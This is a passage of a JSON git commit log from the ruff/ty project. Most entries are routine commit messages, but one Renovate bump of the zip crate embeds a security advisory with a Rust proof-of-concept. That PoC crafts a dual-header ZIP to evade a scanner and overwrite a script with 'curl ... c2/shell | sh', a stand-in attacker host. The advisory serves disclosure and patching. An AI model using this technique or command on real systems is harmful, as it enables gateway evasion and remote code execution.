      "message": "[ty] Skip generic call inference for concrete receivers with an unused `Self` (#29747)\n\n## Summary\n\nWhen `values` is a `list[int]`, checking `values.append(1)` can still\ninvoke generic call inference for the implicit `Self` parameter. Bind\n`Self` to the concrete receiver when it is the only remaining type\nvariable and it appears nowhere else in the signature. A receiver such\nas `list[T]` still goes through inference so the other arguments can\nconstrain its element type.\n\n| Project | Before | After | Wall time saved (95% interval) |\n| --- | ---: | ---: | ---: |\n| PyTorch | 9.90 s | 9.20 s | 7.0% (3.2–11.1%) |\n| pandas | 2.73 s | 2.57 s | 5.9% (3.0–8.2%) |\n| isort | 257.7 ms | 241.1 ms | 6.4% (3.3–9.4%) |\n| Jinja | 195.5 ms | 188.5 ms | 3.6% (1.3–5.8%) |\n\n## Ecosystem report\n\nThe only stable change at\n[`98035243d3`](https://github.com/astral-sh/ruff/commit/98035243d3e7e4280f6a526092e48b0d2e634c4e)\nis the removal of a false positive on DateType’s `NaiveDateTime.now()`.\nThe public run found no stable changes involving generic callbacks.\n[Full ecosystem\nreport](https://github.com/astral-sh/ruff/pull/29747#issuecomment-6509086866)\n\n---------\n\nCo-authored-by: Carl Meyer \u003ccarl@astral.sh\u003e"
    },
    {
      "commit": "8b05262cf354c72602cb403a9fb192a214bea498",
      "tree": "e67e1c381e4f2d345559424d9a3060eeb58d7593",
      "parents": [
        "0a7cf4af531bc2c486a4c6bdbc5e2a451fef7022"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Thu Oct 29 15:08:56 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Thu Oct 29 15:08:56 2026 -0700"
      },
      "message": "[ty] Skip unrelated statement calls when checking a single condition (#29826)\n\n## Summary\n\nSkipping unrelated statement calls speeds up `ty check` on the updated\nisort checkout and slows it down on the older checkout. Both results\nrepeated in two Linux runs, with 142 randomized pairs per revision.\n\n| isort revision | main | This change | Wall time change (95% interval)\n|\n| --- | ---: | ---: | ---: |\n| `a514c71` | 276.4 ms | 254.0 ms | 8.1% less (6.1–9.7%) |\n| `87adfe4` | 240.9 ms | 248.9 ms | 3.3% more (1.2–5.5%) |\n\nBoth binaries used `cargo build --release --locked --bin ty`. Each\nsample ran `ty check --output-format\u003dconcise --no-progress` on the\n`isort` package with Python 3.11.17 and a four-CPU Linux quota.\n\nWhen ty checks whether execution can continue after `while flag:`, it\ncan infer statement calls from inside the loop body. In scopes with many\ncalls, ty normally infers earlier calls in source order to bound\nrecursion. That can pull the loop body into the same inference cycle as\nthe condition.\n\nFor a single condition whose three reachability branches are terminal,\nwe now skip those earlier calls. If the condition is itself a statement\ncall, or depends on one, its reachability query still infers the call.\nBoth isort revisions produced the same diagnostics as main.\n\n---------\n\nCo-authored-by: Charlie Marsh \u003ccharliemarsh@openai.com\u003e"
    },
    {
      "commit": "0a7cf4af531bc2c486a4c6bdbc5e2a451fef7022",
      "tree": "b27fcfcbba99f62c42b84faf8b9dabdbe19d0323",
      "parents": [
        "7885d2477e871ad6f5122441fc09f4595bfa698f"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Thu Oct 29 12:33:53 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Thu Oct 29 12:33:53 2026 -0700"
      },
      "message": "[ty] Reuse parameter unions when filtering overloads (#29823)\n\n## Summary\n\nA cold CLI check of NumPy went from 13.64 s on `main` to 7.02 s with\nthis change (48.5% less wall time). These are means from 12 paired Linux\nruns using optimized `profiling` builds. Both builds emitted the same\n2,147 diagnostics.\n\nOn `main`, 57% of CPU samples fell inside overload filtering for calls\nwith `Any` or `Unknown` arguments. Most of that time went into\nrebuilding unions of parameter types from earlier overloads.\n\nTo test three successive prefixes, we used to add `A`, then add `A` and\n`B`, then add `A`, `B`, and `C` again. We now keep a union builder for\neach argument position and add each new overload’s parameter type once.\nWe still test the prefixes in declaration order and stop once a prefix\ncovers the arguments."
    },
    {
      "commit": "7885d2477e871ad6f5122441fc09f4595bfa698f",
      "tree": "1ebf1fadff8b866d594656d346076f50c204edfe",
      "parents": [
        "7cb935d94e5ccdaefd4efee86ba454e8673a3fa6"
      ],
      "author": {
        "name": "fixfon",
        "email": "12512757+fixfon@users.noreply.github.com",
        "time": "Thu Oct 29 21:35:39 2026 +0300"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Thu Oct 29 14:35:39 2026 -0400"
      },
      "message": "[`flake8-simplify`] Report collapsible `elif` clauses after a multi-statement `if` branch (`SIM102`) (#29814)\n\n## Summary\n\nPart of #29422.\n\nSIM102 missed a nested `if` inside an `elif` whenever the first branch\nhad more than one statement. In `nested_if_body`, when the last branch\nis an `elif` we pick that clause as the nested `if`, but the \"only one\nstatement\" check still looked at the outer `if` body. So the length\ncheck was done on the wrong body.\n\nThe fix checks `nested_if.body().len()` instead, so an `elif` uses its\nown body. The plain `if` path behaves the same as before.\n\nThis only covers the SIM102 item from the issue. I didn\u0027t touch the\nother rules there.\n\n## Test Plan\n\nI added two cases to `SIM102.py`: an `elif` that only contains a nested\n`if` after a multi-statement first branch (now flagged), and one where\nthe `elif` has another statement next to the nested `if` (still not\nflagged). The example from the issue is now reported at 5:5. The\nsnapshot also gets one extra context line on the previous last\ndiagnostic, because the file doesn\u0027t end there anymore.\n\n`cargo test -p ruff_linter` and clippy both pass."
    },
    {
      "commit": "7cb935d94e5ccdaefd4efee86ba454e8673a3fa6",
      "tree": "5b8bc63f1638299e07164d598bb8aef7f3b24d48",
      "parents": [
        "fde7c6debc8ab1507d1e2bd74e5d8d8c394acef1"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Wed Oct 28 20:51:41 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 20:51:41 2026 -0700"
      },
      "message": "[ty] Fix recursive protocol materialization self-comparison (#29809)\n\nFix a stack overflow when return-type inference compares a materialized\nrecursive protocol with itself. Recognize identical top and bottom\nmaterializations as subtypes of themselves without recursively expanding\ntheir members.\n\nFixes https://github.com/astral-sh/ty/issues/4863.\n\n## Test plan\n\nManually reproduced the stack overflow with the original factory call\nand with direct `Top[P]` and `Bottom[P]` self-comparisons on the\nrecursive protocol. With the fix, all complete successfully and the\noriginal call infers `Hutia[Capybara[int]]`."
    },
    {
      "commit": "fde7c6debc8ab1507d1e2bd74e5d8d8c394acef1",
      "tree": "190de50ca412d107478918292104ed228de2d910",
      "parents": [
        "2469f71c13f69a8ed3376fff638870770807d9a0"
      ],
      "author": {
        "name": "renovate[bot]",
        "email": "29139614+renovate[bot]@users.noreply.github.com",
        "time": "Wed Oct 28 20:25:31 2026 -0400"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 20:25:31 2026 -0400"
      },
      "message": "Update Rust crate zip to v9 (#29808)\n\nThis PR contains the following updates:\n\n| Package | Type | Update | Change |\n|---|---|---|---|\n| [zip](https://redirect.github.com/zip-rs/zip2) |\nworkspace.dependencies | major | `8.0` → `9.0` |\n\n---\n\n### zip: Critical Parser Differential \u0026 Security Control Bypass via\nDual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File\nOverwrite \u0026 RCE\n[CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905) /\n[GHSA-m665-v7pm-7grj](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)\n\n\u003cdetails\u003e\n\u003csummary\u003eMore information\u003c/summary\u003e\n\n#### Details\n##### Summary\nA critical architectural parser differential exists in the `zip` crate\n(`\u003c\u003d 9.0.4`) between random-access archive readers (`ZipArchive`) and\nstreaming readers (`ZipStreamReader`). `ZipArchive` considers the\nCentral Directory File Header (CDFH) authoritative and ignores the\nfilename declared in the Local File Header (LFH). In contrast,\n`ZipStreamReader` relies exclusively on the Local File Header (LFH) when\nextracting files to the filesystem.\n\nThis discrepancy enables ZIP archives to appear to have different file\npaths and contents according to which tool is reading them.\n\n---\n\n##### Details\n\n##### Architectural Root Cause\nIn the PKWARE ZIP archive format, every file entry is defined in two\ndistinct locations:\n1. **Local File Header (LFH):** Precedes the compressed payload of each\nfile in the body of the archive.\n2. **Central Directory File Header (CDFH):** Stored in a contiguous\nindex at the end of the archive.\n\nIn `zip2`:\n- `src/read/zip_archive.rs`: `ZipArchive` parses the central directory\ninto `SharedBuilder.files`. All file lookups by index or name read\nexclusively from the CDFH table, completely ignoring the filename\npresent in the LFH.\n- `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and\n`ZipStreamReader::extract` read sequentially from the stream without\nverifying the central directory index. Each entry is parsed via\n`read_zipfile_from_stream` and written to disk using the unverified\nfilename declared in the LFH:\n  ```rust\n  // src/read/stream.rs\nfn visit_file\u003cR: Read\u003e(\u0026mut self, file: \u0026mut ZipFile\u003c\u0027_, R\u003e) -\u003e\nZipResult\u003c()\u003e {\nfile.safe_prepare_path(\u0026self.outpath, \u0026mut outpath, None::\u003c\u0026(_,\nfn(\u0026Path) -\u003e bool)\u003e)?;\n      let mut outfile \u003d fs::File::create(\u0026outpath)?;\n      io::copy(file, \u0026mut outfile)?;\n      Ok(())\n  }\n  ```\n- `src/write.rs:L1552`: The crate explicitly exposes\n`shallow_copy_file`, an API that constructs dual-header\ndesynchronizations by adding a new CDFH entry with an alias name\npointing to an existing file without updating the original LFH.\n\n##### Threat Scenario \u0026 Severity Justification (10.0 / 9.9 Critical)\n1. **Security Control Evasion:** An adversary crafts a ZIP archive\nwhere:\n- Central Directory Header declares: `doc_report.pdf` (Clean document)\n- Local File Header declares: `cron_worker.sh` (Malicious root backdoor)\n2. The archive is uploaded through a web portal or API endpoint\nprotected by security gateways (WAF, Anti-Virus, Content Disarm \u0026\nReconstruction). The security gateway inspects the archive using\n`ZipArchive` (or similar CDFH-first parsers), detects only\n`doc_report.pdf`, and approves the file.\n3. The backend worker or cloud function receives the approved archive\nand extracts it using `ZipStreamReader::extract`. `ZipStreamReader`\nreads the LFH and overwrites `cron_worker.sh`.\n4. **Full Compromise (CIA \u003d High):** The legitimate production health\nchecker / service script is destroyed (**Availability \u003d High / DoS**),\nwhile the attacker\u0027s backdoor payload is implanted (**Integrity \u003d High /\nRCE**).\n\n---\n\n##### Proof of Concept\nThe following automated integration test reproducibly demonstrates the\ncomplete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -\u003e\nArbitrary File Overwrite -\u003e RCE \u0026 DoS) against `zip2`:\n\n```rust\nuse std::fs;\nuse std::io::{Cursor, Write};\nuse tempfile::tempdir;\nuse zip::unstable::stream::ZipStreamReader;\nuse zip::write::SimpleFileOptions;\nuse zip::{ZipArchive, ZipWriter};\n\n// Simulated Security Gateway (inspects CDFH via ZipArchive)\nfn security_gateway_inspection(archive_bytes: \u0026[u8]) -\u003e Result\u003c(), String\u003e {\n    let mut archive \u003d ZipArchive::new(Cursor::new(archive_bytes)).unwrap();\n    for i in 0..archive.len() {\n        let name \u003d archive.by_index(i).unwrap().name().unwrap().to_string();\n        if name.ends_with(\".sh\") || name.ends_with(\".exe\") {\n            return Err(format!(\"MALWARE DETECTED: \u0027{}\u0027 blocked!\", name));\n        }\n        if !name.ends_with(\".pdf\") {\n            return Err(\"Policy violation: only PDFs allowed!\".into());\n        }\n    }\n    Ok(())\n}\n\n#[test]\nfn test_cvss_9_9_dual_header_exploit_chain() {\n    // 1. Victim server setup: existing critical script\n    let victim_env \u003d tempdir().unwrap();\n    let victim_dir \u003d victim_env.path();\n    let target_script \u003d victim_dir.join(\"cron_worker.sh\");\n    fs::write(\u0026target_script, b\"#!/bin/sh\\n# PRODUCTION SERVICE\\necho \u0027SERVICE HEALTHY\u0027\\n\").unwrap();\n\n    // 2. Attacker crafts Single-Entry Dual-Header Archive\n    // LFH: \"cron_worker.sh\" | CDFH: \"doc_report.pdf\"\n    let mut payload \u003d Cursor::new(Vec::new());\n    let mut writer \u003d ZipWriter::new(\u0026mut payload);\n    writer.start_file(\"cron_worker.sh\", SimpleFileOptions::default()).unwrap();\n    writer.write_all(b\"#!/bin/sh\\ncurl -s https://c2/shell | sh\\necho \u0027PWNED ROOT\u0027\\n\").unwrap();\n    writer.finish().unwrap();\n\n    let mut malicious_zip \u003d payload.into_inner();\n    let cdh \u003d malicious_zip.windows(4).position(|s| s \u003d\u003d b\"PK\\x01\\x02\").unwrap();\n    malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b\"doc_report.pdf\");\n\n    // 3. Gateway Inspection (Bypassed!)\n    assert!(security_gateway_inspection(\u0026malicious_zip).is_ok());\n\n    // 4. Backend Extraction (ZipStreamReader)\n    ZipStreamReader::new(Cursor::new(\u0026malicious_zip)).extract(victim_dir).unwrap();\n\n    // 5. Impact Verification\n    let compromised \u003d fs::read_to_string(\u0026target_script).unwrap();\n    assert!(!compromised.contains(\"SERVICE HEALTHY\")); // DoS Confirmed\n    assert!(compromised.contains(\"PWNED ROOT\"));       // RCE Confirmed\n}\n```\n\n##### Verified Test Execution Output\n```text\nrunning 1 test\n\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\nDual-Header Security Gateway Evasion\nExploit Chain: Gateway Evasion -\u003e Arbitrary Overwrite -\u003e RCE \u0026 DoS\n\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\n[VICTIM SERVER STATE - BEFORE ATTACK]\nExisting Content:\nSERVICE IS RUNNING NORMALLY\n\n--- [STEP 1: SECURITY GATEWAY INSPECTION] ---\n[SECURITY GATEWAY] Auditing entry #\u0026#8203;0: \u0027doc_report.pdf\u0027\n[GATEWAY VERDICT]: Ok(())\n[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to \u0027cron_worker.sh\u0027!\n\n--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---\nBackend server unzips approved archive into production directory.\n\n--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---\n[VICTIM SERVER STATE - AFTER ATTACK]\nCompromised Content:\ncurl -s https://attacker.c2/shell | sh\necho \u0027PWNED: FULL ROOT TAKEOVER\u0027\n```\n\n---\n\n##### Impact\nAn attacker can construct a crafted archive whose Central Directory\ndisplays a benign filename (doc_report.pdf) that is inspected and\napproved by upstream security gateways (antivirus scanners, mail\nfilters, upload firewalls), while automated backend ingestion pipelines\nor microservices using ZipStreamReader extract an arbitrary or malicious\nfile (overwriting e.g. cron_worker.sh or critical system binaries).\nBecause an adversary can overwrite existing files on disk, this\nvulnerability leads to Security Control Bypass, Arbitrary File\nOverwrite, Complete Denial of Service, and Remote Code Execution (RCE)\nin situations where a tool relying on the central directory trusts a\ntool that relied on the local file headers or vice-versa.\n\n**Who is Impacted:**\n- Automated ingestion microservices, SaaS platforms, and backend workers\nthat extract user-submitted ZIP files.\n- Enterprise architectures where security verification (AV scanning,\nextension whitelisting) is decoupled from extraction (e.g. gateway\naudits Central Directory via CDFH before handing off extraction to\nstreaming extractors).\n- Containerized workloads where overwriting local configuration files or\nexecutable scripts leads to host/container escape and complete service\ndisruption.\n\n#### Severity\n- CVSS Score: 10.0 / 10 (Critical)\n- Vector String:\n`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L`\n\n#### References\n-\n[https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj](https://redirect.github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj)\n-\n[https://nvd.nist.gov/vuln/detail/CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905)\n-\n[https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e](https://redirect.github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e)\n-\n[https://github.com/zip-rs/zip2/releases/tag/v9.0.5](https://redirect.github.com/zip-rs/zip2/releases/tag/v9.0.5)\n-\n[https://github.com/advisories/GHSA-m665-v7pm-7grj](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)\n\nThis data is provided by the [GitHub Advisory\nDatabase](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)\n([CC-BY\n4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n\u003c/details\u003e\n\n---\n\n### Release Notes\n\n\u003cdetails\u003e\n\u003csummary\u003ezip-rs/zip2 (zip)\u003c/summary\u003e\n\n###\n[`v9.0.5`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#905---2026-10-17)\n\n[Compare\nSource](https://redirect.github.com/zip-rs/zip2/compare/v9.0.4...v9.0.5)\n\n##### \u003c!-- 1 --\u003e🐛 Bug Fixes\n\n- use mode_t for fchmodat\u0027s mode, which is u32 on NetBSD and OpenBSD\n([#\u0026#8203;1076](https://redirect.github.com/zip-rs/zip2/pull/1076))\n- *(write)* prevent duplicate 0x9901 AES extra field in raw_copy_file\n([#\u0026#8203;1078](https://redirect.github.com/zip-rs/zip2/pull/1078))\n\n##### \u003c!-- 7 --\u003e⚙️ Miscellaneous Tasks\n\n- Enable release-plz on backport branches in future\n([#\u0026#8203;1079](https://redirect.github.com/zip-rs/zip2/pull/1079))\n\n###\n[`v9.0.4`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#904---2026-10-16)\n\n[Compare\nSource](https://redirect.github.com/zip-rs/zip2/compare/v9.0.3...v9.0.4)\n\n##### \u003c!-- 1 --\u003e🐛 Bug Fixes\n\n- enclosed_name rejects a separator inside one verbatim path component\n([#\u0026#8203;1066](https://redirect.github.com/zip-rs/zip2/pull/1066))\n- return `Ok(None)` when read_zipfile_from_stream is called on an empty\narchive\n([#\u0026#8203;1063](https://redirect.github.com/zip-rs/zip2/pull/1063))\n\n##### \u003c!-- 7 --\u003e⚙️ Miscellaneous Tasks\n\n- Revert impl Copy for Zip64CentralDirectoryEndLocator due to failing\nsemver check, fix CI where most Miri tests weren\u0027t running, and other\nfixes so other PRs can pass CI\n([#\u0026#8203;1065](https://redirect.github.com/zip-rs/zip2/pull/1065))\n- update lzma-rust2 and ppmd-rust dependencies\n([#\u0026#8203;1060](https://redirect.github.com/zip-rs/zip2/pull/1060))\n\n###\n[`v9.0.3`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#903---2026-10-13)\n\n[Compare\nSource](https://redirect.github.com/zip-rs/zip2/compare/9.0.2...v9.0.3)\n\n##### \u003c!-- 1 --\u003e🐛 Bug Fixes\n\n- Preserve directories\u0027 read-only status when extracting on non-Unix\nsystems\n([#\u0026#8203;1054](https://redirect.github.com/zip-rs/zip2/pull/1054))\n\n###\n[`v9.0.2`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#902---2026-10-11)\n\n[Compare\nSource](https://redirect.github.com/zip-rs/zip2/compare/v9.0.1...9.0.2)\n\n##### \u003c!-- 1 --\u003e🐛 Bug Fixes\n\n- additional bug fixes for symlink extraction\n\n###\n[`v9.0.1`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#901---2026-10-10)\n\n[Compare\nSource](https://redirect.github.com/zip-rs/zip2/compare/v9.0.0...v9.0.1)\n\n##### \u003c!-- 1 --\u003e🐛 Bug Fixes\n\n- set_permissions was still following symlinks in non-streaming\nextraction\n([#\u0026#8203;1038](https://redirect.github.com/zip-rs/zip2/pull/1038))\n- two arithmetic overflows in the implode decoder\n([#\u0026#8203;1028](https://redirect.github.com/zip-rs/zip2/pull/1028))\n- reject an empty archive whose central directory offset is past the\nEOCD ([#\u0026#8203;1025](https://redirect.github.com/zip-rs/zip2/pull/1025))\n- don\u0027t panic when two entries extract to the same path\n([#\u0026#8203;1023](https://redirect.github.com/zip-rs/zip2/pull/1023))\n- fail reads that exceed the declared uncompressed size\n([#\u0026#8203;1022](https://redirect.github.com/zip-rs/zip2/pull/1022))\n- shrink decoder skipped LZW code 8191\n([#\u0026#8203;1029](https://redirect.github.com/zip-rs/zip2/pull/1029))\n- write only the sentinel-marked values in a central ZIP64 field\n([#\u0026#8203;1027](https://redirect.github.com/zip-rs/zip2/pull/1027))\n\n###\n[`v9.0.0`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#900---2026-10-08)\n\n[Compare\nSource](https://redirect.github.com/zip-rs/zip2/compare/v8.6.0...v9.0.0)\n\n##### \u003c!-- 0 --\u003e🚀 Features\n\n- add ZipFileBuilder for parallelizing compression\n([#\u0026#8203;911](https://redirect.github.com/zip-rs/zip2/pull/911))\n- add method `by_index_with_data_descriptor`\n([#\u0026#8203;994](https://redirect.github.com/zip-rs/zip2/pull/994))\n- add len, is_empty and entry to ZipArchiveMetadata\n([#\u0026#8203;1015](https://redirect.github.com/zip-rs/zip2/pull/1015))\n- read data descriptor from binary\n([#\u0026#8203;990](https://redirect.github.com/zip-rs/zip2/pull/990))\n- add comment and test for ZipStreamReader and symlinks\n([#\u0026#8203;985](https://redirect.github.com/zip-rs/zip2/pull/985))\n- *(write)* add `ZipWriter::hide_file` for in-place entry deletion\n([#\u0026#8203;924](https://redirect.github.com/zip-rs/zip2/pull/924))\n- add compression\n([#\u0026#8203;948](https://redirect.github.com/zip-rs/zip2/pull/948))\n- add test to in place modification\n([#\u0026#8203;945](https://redirect.github.com/zip-rs/zip2/pull/945))\n- move CustomExtraField to own file\n([#\u0026#8203;941](https://redirect.github.com/zip-rs/zip2/pull/941))\n- add a test on enum size\n([#\u0026#8203;939](https://redirect.github.com/zip-rs/zip2/pull/939))\n- use ZipFileEntry instead of ZipStreamFileMetadata\n([#\u0026#8203;935](https://redirect.github.com/zip-rs/zip2/pull/935))\n- add ZipFileEntry with no Reader\n([#\u0026#8203;933](https://redirect.github.com/zip-rs/zip2/pull/933))\n- change `aes_mode` to `aes_settings()` in ZipFileData\n([#\u0026#8203;925](https://redirect.github.com/zip-rs/zip2/pull/925))\n- cleanup and harmonize extra fields\n([#\u0026#8203;923](https://redirect.github.com/zip-rs/zip2/pull/923))\n- Rewrite zip64 extra\n([#\u0026#8203;913](https://redirect.github.com/zip-rs/zip2/pull/913))\n\n##### \u003c!-- 1 --\u003e🐛 Bug Fixes\n\n- reading an empty AES entry again at EOF returns Ok(0)\n([#\u0026#8203;1024](https://redirect.github.com/zip-rs/zip2/pull/1024))\n- reject ZIP64 sizes that overflow u64 when computing data end offsets\n([#\u0026#8203;1036](https://redirect.github.com/zip-rs/zip2/pull/1036))\n- apply central directory metadata in ZipStreamReader, only to written\nentries\n([#\u0026#8203;1030](https://redirect.github.com/zip-rs/zip2/pull/1030))\n- consume the whole extended timestamp field in the central header\n([#\u0026#8203;1016](https://redirect.github.com/zip-rs/zip2/pull/1016))\n- parse the central header of the extended timestamp\n([#\u0026#8203;1002](https://redirect.github.com/zip-rs/zip2/pull/1002))\n- don\u0027t pre-allocate the declared size in the legacy decoders\n([#\u0026#8203;991](https://redirect.github.com/zip-rs/zip2/pull/991))\n- Symlink with very large declared size could lead to out-of-memory\npanic ([#\u0026#8203;984](https://redirect.github.com/zip-rs/zip2/pull/984))\n- copy extra fields in raw_copy_file\n([#\u0026#8203;955](https://redirect.github.com/zip-rs/zip2/pull/955))\n([#\u0026#8203;982](https://redirect.github.com/zip-rs/zip2/pull/982))\n- add unix_mode when copy_raw_file\n([#\u0026#8203;981](https://redirect.github.com/zip-rs/zip2/pull/981))\n- rewrite documentation of add_symlink_from_path\n([#\u0026#8203;979](https://redirect.github.com/zip-rs/zip2/pull/979))\n- ignore a ZIP64 extra field that no sentinel asked for\n([#\u0026#8203;962](https://redirect.github.com/zip-rs/zip2/pull/962))\n- do not set data descriptor if directory\n([#\u0026#8203;973](https://redirect.github.com/zip-rs/zip2/pull/973))\n- expose flags function for easier access\n([#\u0026#8203;972](https://redirect.github.com/zip-rs/zip2/pull/972))\n- preserve unix permission in raw_copy_file\n([#\u0026#8203;956](https://redirect.github.com/zip-rs/zip2/pull/956))\n- clippy warning on nightly\n([#\u0026#8203;960](https://redirect.github.com/zip-rs/zip2/pull/960))\n- remove extra alloc used to copy\n([#\u0026#8203;938](https://redirect.github.com/zip-rs/zip2/pull/938))\n- lazy allocation on error case\n([#\u0026#8203;937](https://redirect.github.com/zip-rs/zip2/pull/937))\n- fix data alignment\n([#\u0026#8203;929](https://redirect.github.com/zip-rs/zip2/pull/929))\n\n##### \u003c!-- 2 --\u003e🚜 Refactor\n\n- move extract to own file\n([#\u0026#8203;1009](https://redirect.github.com/zip-rs/zip2/pull/1009))\n- cleanup permissions related code\n([#\u0026#8203;961](https://redirect.github.com/zip-rs/zip2/pull/961))\n- remove feature gate\n([#\u0026#8203;949](https://redirect.github.com/zip-rs/zip2/pull/949))\n- create `ZipFileFlags` to wrap `flags`\n([#\u0026#8203;947](https://redirect.github.com/zip-rs/zip2/pull/947))\n- remove unused trait\n([#\u0026#8203;946](https://redirect.github.com/zip-rs/zip2/pull/946))\n- access `crate::format` with `zip::unstable::format`\n([#\u0026#8203;944](https://redirect.github.com/zip-rs/zip2/pull/944))\n- harmonize functions to `format/functions.rs`\n([#\u0026#8203;943](https://redirect.github.com/zip-rs/zip2/pull/943))\n- rewrite `make_reader()` function\n([#\u0026#8203;936](https://redirect.github.com/zip-rs/zip2/pull/936))\n- simplify `initialize_local_block`\n([#\u0026#8203;934](https://redirect.github.com/zip-rs/zip2/pull/934))\n- move write options to `write/options.rs`\n([#\u0026#8203;931](https://redirect.github.com/zip-rs/zip2/pull/931))\n- move spec to format\n([#\u0026#8203;932](https://redirect.github.com/zip-rs/zip2/pull/932))\n- move Magic to format\n([#\u0026#8203;930](https://redirect.github.com/zip-rs/zip2/pull/930))\n- \\[**breaking**] Remove ZipFileData::extra_data_start field that is\nnever read\n([#\u0026#8203;926](https://redirect.github.com/zip-rs/zip2/pull/926))\n\n##### \u003c!-- 7 --\u003e⚙️ Miscellaneous Tasks\n\n- Fix high-level symlink extraction logic, disable some tests in miri,\nand fix some typos\n([#\u0026#8203;1035](https://redirect.github.com/zip-rs/zip2/pull/1035))\n\n##### Fix\n\n- some permissions tests can only run on Unix\n([#\u0026#8203;1000](https://redirect.github.com/zip-rs/zip2/pull/1000))\n\n\u003c/details\u003e\n\n---\n\n### Configuration\n\n📅 **Schedule**: (UTC)\n\n- Branch creation\n  - At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule defined)\n\n🚦 **Automerge**: Disabled by config. Please merge this manually once you\nare satisfied.\n\n♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the\nrebase/retry checkbox.\n\n🔕 **Ignore**: Close this PR and you won\u0027t be reminded about this update\nagain.\n\n---\n\n- [ ] \u003c!-- rebase-check --\u003eIf you want to rebase/retry this PR, check\nthis box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).\nView the [repository job\nlog](https://developer.mend.io/github/astral-sh/ruff).\n\n\u003c!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODguMiIsInVwZGF0ZWRJblZlciI6IjQ0LjE4OC4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCIsInNlY3VyaXR5Il19--\u003e\n\n---------\n\nCo-authored-by: renovate[bot] \u003c29139614+renovate[bot]@users.noreply.github.com\u003e\nCo-authored-by: Brent Westbrook \u003cbrentrwestbrook@gmail.com\u003e"
    },
    {
      "commit": "2469f71c13f69a8ed3376fff638870770807d9a0",
      "tree": "5260ab02e4a7c6ae6d9efc33a5d8d642701e763c",
      "parents": [
        "a7902dce60cdf59427cc4ad193a544ca94f85eb6"
      ],
      "author": {
        "name": "Lérè",
        "email": "contact@lrbr.dev",
        "time": "Wed Oct 28 16:51:56 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 16:51:56 2026 -0700"
      },
      "message": "[ty] Adjust names in place load resolution internals. (#29790)\n\n## Summary\n\nClarifies the place-load resolution API in preparation for sharing\nsource evaluation between type inference and reaching-definition\nqueries. The existing iterator describes resolution steps; callers\nremain responsible for evaluating them.\n\n## Approach\n\n- Rename `PlaceLoadResolution` to `PlaceLoadResolutionProcedure`, and\nupdate caller variables to use `procedure`.\n- Replace `resolve_place_load` with `PlaceLoadResolutionProcedure::new`,\nwhich encapsulates construction of the resolution context.\n- Borrow `PlaceExpr` throughout the procedure and its callers instead of\ntransferring ownership.\n\n## Test Plan\n\nThis is a behaviour-preserving refactor that relies on existing tests."
    },
    {
      "commit": "a7902dce60cdf59427cc4ad193a544ca94f85eb6",
      "tree": "1aa43e81cc185d595eee692eba89abc924673673",
      "parents": [
        "589433f2ed92270b66b1792b02d86764ffa82910"
      ],
      "author": {
